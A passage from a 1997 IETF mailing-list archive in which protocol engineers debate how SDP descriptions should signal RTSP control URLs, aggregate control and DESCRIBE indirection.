it is case 1, else it is case 2.

Case1:
-Construct URLs for each of the streams as specified in A)
-If enough information does not exist for a stream, do a DESCRIBE on the
URL.  If the response SDP does not contain the same URL that was
DESCRIBEd, or contains more than one URL, report an error.(See
explanation on this below).
-send SETUP  for each of the streams on the same RTSP session to the
server using standard URL semantics.
-send aggregate or individual plays

Case2:
-If enough information does not exist for a stream, do a DESCRIBE on the
URL.  If the response does not contain the same URL that was DESCRIBEd,
or contains more than one URL, report an error.(See explanation on this
below).
(optional) : Check whether the two URLs reference the same server,  if
not assume that the streams are from different servers, and refuse to
play.
-send SETUP  for each of the streams on different RTSP sessions to the
server(s) using standard URL semantics.
-send play for each of the streams on different RTSP sessions

Explanation on step 2 for both cases:
This is a simplifying assumption.  It may even be argued that the SDP
file should *always* contain the media initialization information,and
therefore DESCRIBEs are never necessary.  However, allowing the DESCRIBE
here  accomodates the case where the media initialization info needs to
come from the location of the media resource itself(and that location is
not the source of the first SDP file).
Any *further*  indirection at this level would a) be glaringly in
REDIRECT territory b) serve no obvious purpose. Not putting such a
restriction may result in a situation where each subsequent DESCRIBE may
recursively  result in a description of multiple streams, making
checking for loops  and actual  rendering pretty hairy.

The question is : Should the protocol document be making this
restriction ? I believe so. It is not the protocol that is making the
restriction, really. Rather, the use of SDP in DESCRIBE responses for
indirection is being restricted for (good) reason.


Based on the above proposal, a couple of common application scnearios :

a)RTSP- SDP description embedded in html, or received in e-mail or
otherwise.

Follow directly the steps in "how the client should proceed"

Applicability : Source of SDP description and RTSP server closely
synchronized. Client should trust media initialization info if provided
and should DESCRIBE only if necessary.

 b) RTSP URL embedded somewhere :

Client does DESCRIBE on the URL, and gets a SDP file. Then follow the
steps above.


With reference to the ongoing discussion :

a) Indirection via DESCRIBE  is allowed only in the case where the
DESCRIBE is on an URL not  obtained from  a RTSP-SDP description. The
client needs to police this. With respect to Steve's earlier message
regarding two choices(ie allow indirection and not allow indirection),
this is middle ground.
b) Loop checking  issue is simple  :  It is  not applicable. Should be
applied to REDIRECT.
c) No conclusion can be made as to whether a presentation is aggregate
controlled or not based on  having a rtsp URL. However, such a
conclusion is unambiguously made when a SDP description is received.

--
-----------------------------------------------------------------
  Anup Rao
  Member Of Technical Staff
  Netscape Communications Corp.
  email : anup@netscape.com         Phone : (650) 937 3129
-----------------------------------------------------------------



From majordom@ISI.EDU  Wed Sep 10 14:05:40 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA28941>; Wed, 10 Sep 1997 21:06:16 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA28935>; Wed, 10 Sep 1997 21:06:14 -0700
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA04994
	for <confctrl@ISI.EDU>; Wed, 10 Sep 1997 21:06:13 -0700 (PDT)
Received: from big-bear (big-bear.precept.com [204.162.119.41])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id VAA15531
	for <confctrl@ISI.EDU>; Wed, 10 Sep 1997 21:05:43 -0700 (PDT)
Date: Wed, 10 Sep 1997 21:05:40 -0700 (PDT)
From: Karl Auerbach <karl@precept.com>
X-Sender: karl@big-bear
Reply-To: karl@precept.com
To: confctrl@ISI.EDU
Subject: Re: "c=IN URL" at media level
In-Reply-To: <3.0.3.32.19970910180629.00c06018@mail.prognet.com>
Message-Id: <Pine.SOL.3.93.970910205917.9841E-100000@big-bear>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


I rather strongly object to overloading c=

The reason is simply that it is *not* (in my mind) a session level bit
of information at all.

Rather it is a per-media stream bit of information.

Its presence at session level is merely a convienience to provide a
default to each media stream.

Here's the language from the SDP draft about c= ...  Notice the words
"unless overridden".

	Internet Engineering Task Force					  MMUSIC WG
	INTERNET-DRAFT					  Mark Handley/Van Jacobson
	draft-ietf-mmusic-sdp-03.txt					   ISI/LBNL
								    26th March 1997
							    Expires: 26th Sept 1997

	The connection (`c=') and attribute (`a=') information in  the	session-
	level section applies to all the media of that session unless overridden
	by connection information or an	attribute of the same name in the  media
	description.

If one wants to specify some bit of information that applies to the
session as a whole, I would suggest using a purely session level
characteristic rather than trying to avoid reusing a letter.

		--karl--




From majordom@ISI.EDU  Wed Sep 10 15:58:41 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA02680>; Wed, 10 Sep 1997 22:58:44 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA02674>; Wed, 10 Sep 1997 22:58:42 -0700
Received: from mail5.microsoft.com (mail5.microsoft.com [131.107.3.31])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id WAA08216
	for <confctrl@ISI.EDU>; Wed, 10 Sep 1997 22:58:42 -0700 (PDT)
Received: by mail5.microsoft.com with Internet Mail Service (5.5.1664.3)
	id <SVYQ6DD6>; Wed, 10 Sep 1997 23:01:17 -0700
Message-Id: <E1F032A1F6FAD011BE6100805FD468021EE41A@RED-40-MSG.dns.microsoft.com>
From: "Anders Klemets (VXtreme)" <anderskl@microsoft.com>
To: "'Stephen Casner'" <casner@precept.com>, Mark Handley <mjh@east.isi.edu>
Cc: confctrl@ISI.EDU
Subject: RE: SDP syntax with RTSP 
Date: Wed, 10 Sep 1997 22:58:41 -0700
X-Mailer: Internet Mail Service (5.5.1664.3)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Wednesday, September 10, 1997 4:23 PM, Stephen Casner
[SMTP:casner@precept.com] wrote:
>     I think a case can be made for that, e.g., for multicast, where we
>     could have passive clients (without RTSP capability even), just
>     taking c= information as is, and 'remote control' clients that
>     have the ability to interact with the stream via RTSP, suitably
>     coordinated, naturally.
> 
> If we need to have both pieces of information in some uses of SDP,
> then I think we want the URL information to be provided by a means
> other than c= so that the URL is provided in the same way in all uses
> of SDP.
> 							-- Steve

Right.  For multicast sessions, the SDP media description might have to
specify both a URL for RTSP control as well as the multicast group onto
which data is sent.  However, I don't think it should be a problem,
because it appears to be possible to specify both "c=IN IP4" and "c=IN
URL" in the same media description.  Look at page 10 in version 4 of the
SDP draft, which was released just a few days ago.

There is an example on page 10 where multiple "c=" lines are used when
the server transmits on multiple multicast groups.  However, there is no
mention in the draft that the use of multiple "c=" lines would be
restricted to an MMG scenario.

Anders


From majordom@ISI.EDU  Wed Sep 10 17:08:05 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA03792>; Thu, 11 Sep 1997 00:08:34 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA03786>; Thu, 11 Sep 1997 00:08:32 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id AAA09534
	for <confctrl@ISI.EDU>; Thu, 11 Sep 1997 00:08:31 -0700 (PDT)
Received: from robla.dev.prognet.com (mg-20425426-53.ricochet.net) by murrow.prognet.com with SMTP id AA15936
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Thu, 11 Sep 1997 00:08:30 -0700
Message-Id: <3.0.3.32.19970911000805.017c4a4c@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Thu, 11 Sep 1997 00:08:05 -0700
To: karl@precept.com, confctrl@ISI.EDU
From: Rob Lanphier <robla@prognet.com>
Subject: Re: "c=IN URL" at media level
In-Reply-To: <Pine.SOL.3.93.970910205917.9841E-100000@big-bear>
References: <3.0.3.32.19970910180629.00c06018@mail.prognet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Karl,

I must not have been clear enough here.  I withdraw my suggestion to
overload "c=" at the session level for signalling RTSP stream aggregation
(1-1-n).  Let's drop this debate, because it is getting confused whether
"c=IN URL" should be used at the media level, which I'm in favor of (and
Mark seems to be as well, in lieu a good case against it).

Rob

At 09:05 PM 9/10/97 -0700, Karl Auerbach wrote:
>
>I rather strongly object to overloading c=
>
>The reason is simply that it is *not* (in my mind) a session level bit
>of information at all.
>
>Rather it is a per-media stream bit of information.
>
>Its presence at session level is merely a convienience to provide a
>default to each media stream.
>
>Here's the language from the SDP draft about c= ...  Notice the words
>"unless overridden".
>
>	Internet Engineering Task Force					  MMUSIC WG
>	INTERNET-DRAFT					  Mark Handley/Van Jacobson
>	draft-ietf-mmusic-sdp-03.txt					   ISI/LBNL
>								    26th March 1997
>							    Expires: 26th Sept 1997
>
>	The connection (`c=') and attribute (`a=') information in  the	session-
>	level section applies to all the media of that session unless overridden
>	by connection information or an	attribute of the same name in the  media
>	description.
>
>If one wants to specify some bit of information that applies to the
>session as a whole, I would suggest using a purely session level
>characteristic rather than trying to avoid reusing a letter.
>
>		--karl--
>
>
>
>
---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp

From majordom@ISI.EDU  Wed Sep 10 17:15:19 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA03937>; Thu, 11 Sep 1997 00:15:46 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA03931>; Thu, 11 Sep 1997 00:15:45 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id AAA09723
	for <confctrl@ISI.EDU>; Thu, 11 Sep 1997 00:15:44 -0700 (PDT)
Received: from robla.dev.prognet.com (mg-20425426-53.ricochet.net) by murrow.prognet.com with SMTP id AA16217
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Thu, 11 Sep 1997 00:15:43 -0700
Message-Id: <3.0.3.32.19970911001519.01735e8c@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Thu, 11 Sep 1997 00:15:19 -0700
To: Stephen Casner <casner@precept.com>, Brad Hefta-Gaub <brad@prognet.com>
From: Rob Lanphier <robla@prognet.com>
Subject: Re: Open Issues for draft04
Cc: confctrl@ISI.EDU
In-Reply-To: <Pine.WNT.3.95.970910154120.-360625K-100000@oak.precept.com
 >
References: <3417211F.5C01A471@prognet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 03:51 PM 9/10/97 -0700, Stephen Casner wrote:
>Brad,
>
>> The concern that we at PN have is that although we want RTSP
>> implementations to use RTP as the standard transport, we don't want all
>> RTSP implementors to have to know all of the nuances of RTP, if their
>> component does not require knowledge of RTP. For example, if I am
>> implementing an intermediate device that is "generically" proxying all
>> RTSP streams, then currently I would have to code in explicit knowledge
>> of the RTP protocol. I would have to watch for the explicit transport
>> type of RTP, and always know to proxy the "assumed" RTCP ports.
>
>That makes sense.  However, the information in the Transport header is
>transport-protocol dependent.  If a new transport protocol is added,
>some new knowledge about that protocol (at least the parameters it
>requires) will likely need to be added to the RTSP module.

There's no question that there will probably end up being RTP-isms in the
RTSP handling code.  However, this would strike me as a gratuitous RTP-ism.
 It would be far simpler for the first-time proxy writer to get it right if
the ports were explicitly stated.  I'd rather make the design choice that
causes folks to accidently get things right rather than accidently get
things wrong.

Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp

From majordom@ISI.EDU  Thu Sep 11 04:56:57 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25925>; Thu, 11 Sep 1997 11:58:05 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25918>; Thu, 11 Sep 1997 11:58:02 -0700
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA29813
	for <confctrl@ISI.EDU>; Thu, 11 Sep 1997 11:58:01 -0700 (PDT)
Received: from oak.precept.com (oak.precept.com [204.162.116.21])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id LAA17584;
	Thu, 11 Sep 1997 11:57:30 -0700 (PDT)
Date: Thu, 11 Sep 1997 11:56:57 -0700 ()
From: Stephen Casner <casner@precept.com>
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@ISI.EDU
Subject: Re: "c=IN URL" at media level
In-Reply-To: <3.0.3.32.19970911000805.017c4a4c@mail.prognet.com>
Message-Id: <Pine.WNT.3.95.970911104642.-367813F-100000@oak.precept.com>
X-X-Sender: casner@big-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Rob,

> I must not have been clear enough here.  I withdraw my suggestion to
> overload "c=" at the session level for signalling RTSP stream aggregation
> (1-1-n).  Let's drop this debate, because it is getting confused whether
> "c=IN URL" should be used at the media level, which I'm in favor of (and
> Mark seems to be as well, in lieu a good case against it).

In addition to the reasons I've listed earlier for objecting to c=IN
URL, in thinking about how the various issues being discussed fit
together, I find the following reasoning:

  - Agreed that using c=IN URL at the session level is bad.

  - As in Anup's message (a reply to that shortly), we need to specify
    a presentation URL at the session level as well as stream URLs at
    the media level.

  - I would like the syntax for specifying the URLs at both level to
    be the same.

  => c=IN URL at the media level is bad.

> The reason why is that the "c=" line *really* says "here's a rendezvous
> point for getting this stream" (regardless of whether you call it a source
> or a destination).  In the case of "c=IN IP4 <multicast address>/<params>",
> this means that the rendezvous point is a multicast address that the sender
> is streaming to.  This could potentially be rewritten (if you're a glutton
> for punishment) as "c=IN URL multicast://224.2.0.1/ttl=127/addresses=3".

That's a nice round of semantic maneuvering, but I am unconvinced.  I
think the URL is a different kind of information than a transport
address.  That's why I mentioned the "a=source:" that Precept is
using.  I'm not suggesting that this should be adopted, but there is a
need for some SDP applications to specify what data is supposed to be
flowing over the session, e.g., to provide instruction to the server.
It's like "the other end of the connection", if you will, whether it
is a camera selection, or the file that is supposed to be streamed
out, or a file that the stream should be recorded into.  I see the
RTSP URL as being a similar requirement.

> I don't want this to erupt into an argument over the virtues/errors in
> having an multicast url syntax, but my point is that "c=" really does make
> sense to put the URL in.

I disagree because, again, I see these as two kinds of information.
Do you accept that in some instances we will want to have SDP files
that specify both addressing and file information?  Jeff Smith's
example was SIP, but another example is an SDP to tell a multicast
server what to play and where to stream it.  Now consider a generic
SDP parsing object which sees a list of c=IN IP4 lines to specify the
multicast addresses for a layered encoding, and then a c=IN URL line.
I think you'd want to have different methods for getting these two
kinds of information.  Yes, the parser can split the information apart
based on IP4 vs URL, but I think that is a level down from the point
where the split should happen.  When you're running both IP4 and IP6,
my guess is you'd want both of those to be returned by the address()
method, carrying the appropriate typing with them, but you'd want the
URL return by the source() method (there's probably a better name).

> Furthermore, not using "c=" for URLs begs the
> question: "if you don't put the URL in c=, what *do* you put there".

I think that is the main reason why c=IN URL came to be.  My answer
is that there may not be anything we need to put there.  I suggest
that we have some null form of the c= line which says "you need to get
the addressing elsewhere".  Perhaps, in fact, a session-level null c=
should be the explicit indicator of an "RTSP-SDP" file that Anup's
message proposes.

> For folks who suggest that it is possible to have a useful situation where
> a node can act as an RTSP client and pass through the SDP untouched to a
> non-RTSP entity, please spell out that situation so that I can understand
> it (preferably with examples), 'cause I'm just not getting it.

That isn't necessarily the scenario I had in mind, but may be what
Jeff Smith was talking about.
							-- Steve


From majordom@ISI.EDU  Thu Sep 11 08:47:11 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA10260>; Thu, 11 Sep 1997 15:48:27 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA10254>; Thu, 11 Sep 1997 15:48:25 -0700
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA11270
	for <confctrl@ISI.EDU>; Thu, 11 Sep 1997 15:48:24 -0700 (PDT)
Received: from oak.precept.com (oak.precept.com [204.162.116.21])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id PAA18846;
	Thu, 11 Sep 1997 15:47:44 -0700 (PDT)
Date: Thu, 11 Sep 1997 15:47:11 -0700 ()
From: Stephen Casner <casner@precept.com>
To: Anup Rao <anup@netscape.com>
Cc: mmusicwg <confctrl@ISI.EDU>, Rob Lanphier <robla@prognet.com>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Subject: Re: Indirection, aggregation in SDP/RTSP - reaching closure
In-Reply-To: <341763F8.E4F15A@netscape.com>
Message-Id: <Pine.WNT.3.95.970911154647.-367813M-100000@oak.precept.com>
X-X-Sender: casner@big-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Anup,

> Within an SDP description, we want to convey:-
> a) That RTSP control is to be applied.
> b)streams comprising the presentation and possibly media  initialization
> info for each of them
> c)URL(s) to be used for each stream.
> d)Aggregate URL if aggregate control is possible
> e)Whether to use one RTSP session or not.(ie 1-1-n vs 1-n-n)

I generally agree, although I think d and e are the same and that not
all of the information necessarily needs to be conveyed explicitly.

> One thing I would like to add to this list :
> -Have a session-level attribute that would specify that this is a
> description for a RTSP presentation. We refer to such a description as a
> RTSP-SDP description. Without exception, this specifies a RTSP
> presentation.

How would you define an RTSP presentation?  That is, what
characteristics would distinguish a session that was an RTSP
presentation from one that wasn't?  The rtsp-03 draft says it is "a
set of one or more streams which the server allows the client ot
manipulate together".  Per that definition, an SDP file containing an
aggregate URL would be an RTSP presentation, and I guess a
single-medium SDP file would be as well.  But a 1-n-n SDP file would
not be.

> This would help us differentiate it from the case where
> RTSP urls were present in SDP files in some other situation, for eg.
> when only one of many media within a session used RTSP control.(Such a
> session is not the subject of this message and should be discussed
> seperately).

It's good to think about other situations.  So, perhaps the answer you
intended for my question above is that a session in which all of the
streams are under RTSP control is an RTSP presentation, but otherwise
not.  That's well defined, but what will the recipient of the SDP file
do with that bit of information?  If there was a client that could
only handle RTSP-controlled streams, I guess it could use this bit to
reject an SDP file that wasn't an RTSP presentation.

On the other hand, one could also identify an RTSP presentation by the
presence of an RTSP URL for streams.  Even if the SDP file passed the
1-bit test for our hypothetical client, the client will still have to
verify that it has a URL for each stream.  So I haven't figured out
yet what good the session-level attribute would provide.

> We also additionally approach the problem from a slightly different
> angle, ie. "what to do once you have the description regardless of where
> you got it from". This adds the requirement:
> -Provide an algorithm that the client can deal with once it has the SDP
> file.

OK, that would be a motivation for not having anything implicit in the
arrival method.  Of course, to save bits, one could leave out what was
implicit and add it at the client, but we probably don't need to argue
about bits here.

> An RTSP-SDP session description must have the session-level attribute
> a=RTSP-Presentation.

As above, I'd like to know what this will achieve.

> We further  classify a RTSP-SDP description as describing a
> presentation  that may be of two types(ones  allowing aggregate
> control,  ones that do not).  Individual streams comprising such a
> presentation may come from same or different files or the same or
> different servers.  However, such a condition(streams coming from
> different servers)  may be recognized, and the client may refuse to
> render the presentation if it sees fit.

All fine.

> This classification is made for the purposes of specifying an
> appropriate syntax in tune with SDP semantics, and a few simple steps
> that a client implementation may use to proceed when it has such a
> description.  There is no restriction as to which of the two types may
> be received via RTSP-DESCRIBE, HTTP, inter-office mail, whatever. Also,
> the classification would appear to be  appropriate - all RTSP really
> cares about is applicability of aggregate control(that implies 1-1-n),
> so basing client side processing on this rather than the source of the
> SDP description would provide some advantage.

Agreed that aggregate control should be possible with an SDP
description received via a method other than RTSP-DESCRIBE.

> Regardless of  this classification, there is a m= field for each stream
> within the presentation, and (possibly) appropriate rtpmap, fmtp fields
> for each stream to describe the media.

Right.  The m= is the necessary separator for stream info.  We don't
need to have a c= for each stream.

> A) If aggregate control is possible, then a session level
> a=presentation-url: rtsp:// will exist.

I agree that a session-level URL specifier should be there.  However,
I would like the session-level and media-level URL specifiers to be
the same.  It could be a=rtsp-url, or more general if something like
the a=source I've mentioned makes sense, or it could be a new letter
to the left of the = sign.

> In addition, for each stream,  a media-level attribute will exist. 

Fine.

> This attribute will  define how a URL
> to control the stream will be constructed treating the session-level
> presentation-url  field as a base URL.(This attribute is an opaque
> identifier).

Not fine.  I believe this should be a real URL here, too, which may
well be relative.  In essense, what you are doing is forcing this
attribute to be a relative URL, but it may not be the case that the
stream URLs are relative to the aggregate URL for the n-1-n case (RTSP
session with aggregate control and streams coming from separate files,
usually on the same server).  So let's allow relative URLs but not
force them.  I don't see any need to make this case (aggregate
control) different from the next one (no aggregate control) where you
do have a URL.

> This does not preclude aggregate control for a presentation
> composed of streams coming from multiple servers.  The server specified
> in the aggregate URL is required to bear the burden of coordination.
> However, such a servers namespace may be designed to coordinate
> aggregate control of such a presentation without having the client being
> knowledgable about it. The single stream case is expressed within this
> scenario by the presence of only one media stream.

Agree to all.

> iii) All the above requests are sent to foo, period. Standard URL
> semantics are not broken.

If there are real URLs as I propose, then the client will have to
verify that the URLs point to foo.  I acknowledge that extra cost, but
I believe the consistency would be worth it.  A client that can handle
non-aggregate control needs to have code to check if the URLs are on
the same host anyway to know whether or not it can share RTSP
connections.

Forcing a relative URL precludes the error of having the URL reference
another host, but introduces the error of finding a=stream-url when
you were expecting a=stream.

> vi) If there is just one stream, the a=streamid attribute is omitted.

This can still be true if real URLs are used.


> B) If aggregate control is not possible, a media-level a=stream-url:
> field with an absolute URL will exist for each stream. The semantics of
> the URL within this  field are unambiguous. The request for the URI goes
> to the server specified in the URL.

Fine.  We don't need two different attributes (a=stream and
a=stream-url) to signal the difference between aggregate and
non-aggregate control since the presence of the aggregate URL at the
session does that.


> -Check whether a session-level a=presentation-url field exists. If yes,
> it is case 1, else it is case 2.

Right.

> Case1:
> -Construct URLs for each of the streams as specified in A)
> -If enough information does not exist for a stream, do a DESCRIBE on the
> URL.  If the response SDP does not contain the same URL that was
> DESCRIBEd, or contains more than one URL, report an error.(See
> explanation on this below).

If additional information is needed, why not do a DESCRIBE on the
aggregate URL and get it all at once?

> -send SETUP  for each of the streams on the same RTSP session to the
> server using standard URL semantics.
> -send aggregate or individual plays

Fine.


> Case2:
> -If enough information does not exist for a stream, do a DESCRIBE on the
> URL.  If the response does not contain the same URL that was DESCRIBEd,
> or contains more than one URL, report an error.(See explanation on this
> below).
> (optional) : Check whether the two URLs reference the same server,  if
> not assume that the streams are from different servers, and refuse to
> play.

(I assume that by "two URLs" you mean audio and video since if you
meant the URL before the DESCRIBE and in the response then verifying
that the URLs are the same already verifies that the reference the
same server.)

Yes, this could be an option, but the hard part for a client is
handling non-aggregate control.  Given that capability, the only
difference with multiple servers is that the individual PLAYs have to
go over different RTSP connections.  So I don't see a reason why a
client would want to refuse.

> -send SETUP  for each of the streams on different RTSP sessions to the
> server(s) using standard URL semantics.
> -send play for each of the streams on different RTSP sessions

Fine.


> Explanation on step 2 for both cases:
> This is a simplifying assumption.  It may even be argued that the SDP
> file should *always* contain the media initialization information,and
> therefore DESCRIBEs are never necessary.  However, allowing the DESCRIBE
> here  accomodates the case where the media initialization info needs to
> come from the location of the media resource itself(and that location is
> not the source of the first SDP file).

Right.  In particular, the first SDP file might consist of only the
minimum more than the aggregate URL, with no media information at all.

> Any *further*  indirection at this level would a) be glaringly in
> REDIRECT territory b) serve no obvious purpose. Not putting such a
> restriction may result in a situation where each subsequent DESCRIBE may
> recursively  result in a description of multiple streams, making
> checking for loops  and actual  rendering pretty hairy.

Fine.  This is the point where requiring all the information to be
explicit is a disadvantage because you have to check it.  A DESCRIBE
response on an aggregate URL need not include that aggregate URL (but
would need to include stream URLs), and a DESCRIBE response on a
stream URL need not include the stream URL.

> The question is : Should the protocol document be making this
> restriction ? I believe so.

The examples of this restriction that you gave were when doing a
DESCRIBE on a stream URL, should we insist that the DESCRIBE response
not carry a different URL.  I don't think anyone would argue with
that.  As you say, removing this restriction would serve no obvious
purpose. 

The more significant question we were discussing before was whether a
DESCRIBE on an aggregate URL could return stream URLs that reference a
different host, that is, whether or not to allow indirection.  In your
proposal here, you've precluded that possibility by forcing the stream
URLs under an aggregate URL to be relative.  So, that is putting the
restriction in the protocol that indirection is not allowed.  Fine.

I don't like the requirement to use relative URLs.  But I'm willing to
keep the requirement, as a protocol restriction, that the stream URLs
under an aggregate URL reference the same host.  As I argued in
Munich, the protocol should not preclude the aggregate controller from
acting as a coordination proxy for streams that come from multiple
servers.  This doesn't, but it requires the proxy to also fold the
stream URLs into its namespace, whereas that was not necessary in what
I said originally.  But this restriction, along with the presence of
the aggregate URL in the session level of SDP, is to gain the
consistency of function in SDP files whether they come from DESCRIBE
responses or HTTP.  That's a fair trade.

> a) Indirection via DESCRIBE  is allowed only in the case where the
> DESCRIBE is on an URL not  obtained from  a RTSP-SDP description.

Actually, it can't happen.  An RTSP URL is either aggregate or
individual.  For aggregate URLs, you proposed a syntax that precluded
indirection, which I propose to relax the syntax but keep the
semantics.  For individual URLs, we agree that there is no point.

> The client needs to police this.

With the relaxed syntax I proposed, yes.

> With respect to Steve's earlier message
> regarding two choices(ie allow indirection and not allow indirection),
> this is middle ground.

Well, I think it is just the choice of not allowing indirection, which
was the one I said in my summary that I favored.

> b) Loop checking  issue is simple  :  It is  not applicable. Should be
> applied to REDIRECT.

Right, this is the result of disallowing indirection.

> c) No conclusion can be made as to whether a presentation is aggregate
> controlled or not based on  having a rtsp URL. However, such a
> conclusion is unambiguously made when a SDP description is received.

Right, but you can tell from its position in an SDP file.

							-- Steve


From majordom@ISI.EDU  Thu Sep 11 11:53:04 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA20915>; Thu, 11 Sep 1997 18:53:37 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA20907>; Thu, 11 Sep 1997 18:53:35 -0700
Received: from netscape.com (h-205-217-237-47.netscape.com [205.217.237.47])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA19786
	for <confctrl@ISI.EDU>; Thu, 11 Sep 1997 18:53:35 -0700 (PDT)
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54])
	by netscape.com (8.8.5/8.8.5) with ESMTP id SAA00990
	for <confctrl@ISI.EDU>; Thu, 11 Sep 1997 18:53:04 -0700 (PDT)
Received: from electron ([204.29.186.92]) by dredd.mcom.com
          (Netscape Messaging Server 3.0)  with ESMTP id AAA16502;
          Thu, 11 Sep 1997 18:53:03 -0700
Message-Id: <3418A07F.2314936D@netscape.com>
Date: Thu, 11 Sep 1997 18:53:04 -0700
From: anup@netscape.com (Anup Rao)
Organization: Netscape Communications Corporation
X-Mailer: Mozilla 4.01 [en] (WinNT; U)
Mime-Version: 1.0
To: Stephen Casner <casner@precept.com>
Cc: mmusicwg <confctrl@ISI.EDU>, Rob Lanphier <robla@prognet.com>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Subject: Re: Indirection, aggregation in SDP/RTSP - reaching closure
X-Priority: 3 (Normal)
References: <Pine.WNT.3.95.970911154647.-367813M-100000@oak.precept.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Stephen Casner wrote:

> > This would help us differentiate it from the case where
> > RTSP urls were present in SDP files in some other situation, for eg.
>
> > when only one of many media within a session used RTSP control.(Such
> a
> > session is not the subject of this message and should be discussed
> > seperately).
>
> It's good to think about other situations.  So, perhaps the answer you
>
> intended for my question above is that a session in which all of the
> streams are under RTSP control is an RTSP presentation, but otherwise
> not.

Thats what I meant, yes.

> That's well defined, but what will the recipient of the SDP file
> do with that bit of information?  If there was a client that could
> only handle RTSP-controlled streams, I guess it could use this bit to
> reject an SDP file that wasn't an RTSP presentation.

Yes, again. Also, it helps it somewhat to check validity. See below...

> On the other hand, one could also identify an RTSP presentation by the
>
> presence of an RTSP URL for streams.  Even if the SDP file passed the
> 1-bit test for our hypothetical client, the client will still have to
> verify that it has a URL for each stream.  So I haven't figured out
> yet what good the session-level attribute would provide.
>

It seperates out the two  cases  when the lack of rtsp url for one of
the media is accidental,   and that when it is deliberate.

A "rtsp-control-only" client would draw the distinction between these :

(accidental)
a=RTSP-Presentation
m= audio 0 RTP/AVP 0
a=source:: rtsp://....
m=video 0 RTP/AVP 26
a=rtpmap:....

Ideal response : there is something wrong with the file.

(deliberate)
m= audio 0 RTP/AVP 0
a=source:: rtsp://....
m=video 0 RTP/AVP 26
a=some-other-thing: http://(say its http streaming or somethin)

Ideal response : I cannot handle this file, its out of my
league.Arguably, the differentitation is also possible by using
something other than "source" in this case.

> > A) If aggregate control is possible, then a session level
> > a=presentation-url: rtsp:// will exist.
>
> I agree that a session-level URL specifier should be there.  However,
> I would like the session-level and media-level URL specifiers to be
> the same.  It could be a=rtsp-url, or more general if something like
> the a=source I've mentioned makes sense, or it could be a new letter
> to the left of the = sign.

Agreed.  Pending decision on the c= debate.

> > This attribute will  define how a URL
> > to control the stream will be constructed treating the session-level
>
> > presentation-url  field as a base URL.(This attribute is an opaque
> > identifier).
>
> Not fine.  I believe this should be a real URL here, too, which may
> well be relative.  In essense, what you are doing is forcing this
> attribute to be a relative URL, but it may not be the case that the
> stream URLs are relative to the aggregate URL for the n-1-n case (RTSP
>
> session with aggregate control and streams coming from separate files,
>
> usually on the same server).  So let's allow relative URLs but not
> force them.  I don't see any need to make this case (aggregate
> control) different from the next one (no aggregate control) where you
